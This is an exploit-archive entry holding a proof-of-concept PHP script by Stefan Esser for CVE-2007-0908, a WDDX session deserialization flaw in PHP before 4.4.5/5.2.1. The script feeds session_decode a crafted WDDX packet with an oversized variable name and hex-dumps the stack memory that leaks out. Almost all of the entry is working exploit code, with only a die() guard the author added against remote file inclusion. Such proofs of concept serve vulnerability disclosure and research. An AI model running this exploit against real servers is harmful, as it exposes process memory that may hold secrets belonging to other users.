PHP < 4.4.5/5.2.1 - WDDX Session Deserialization Information Leak

Related Vulnerabilities: CVE-2007-0908  
Publish Date: 04 Mar 2007
Author: Stefan Esser
                							

                &lt;?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //       PHP WDDX Session Deserialization Stack Information Leak      //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  if (!extension_loaded("wddx")) {
    die("wddx extension needed\n");
  }

  ini_set("session.serialize_handler", "wddx");
  
  session_start();
  
  session_decode("&lt;wddxPacket version='1.0'&gt;&lt;header/&gt;&lt;data&gt;&lt;struct&gt;&lt;var name='".str_repeat("A",8192)."'&gt;&lt;string&gt;A&lt;/string&gt;&lt;/var&gt;&lt;var name='1'&gt;&lt;string&gt;1&lt;/string&gt;&lt;/var&gt;&lt;/struct&gt;&lt;/data&gt;&lt;/wddxPacket&gt;");    

  $keys = array_keys($_SESSION);
  $stackdump = $keys[1];
  
  echo "Stackdump\n---------\n\n";
  
  for ($b=0; $b&lt;strlen($stackdump); $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i&lt;16; $i++) {
      printf ("%02x ", ord($stackdump[$b+$i]));
    }
    for ($i=0; $i&lt;16; $i++) {
      $c = ord($stackdump[$b+$i]);
      if ($c &gt; 127 || $c &lt; 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }
?&gt;

# milw0rm.com [2007-03-04]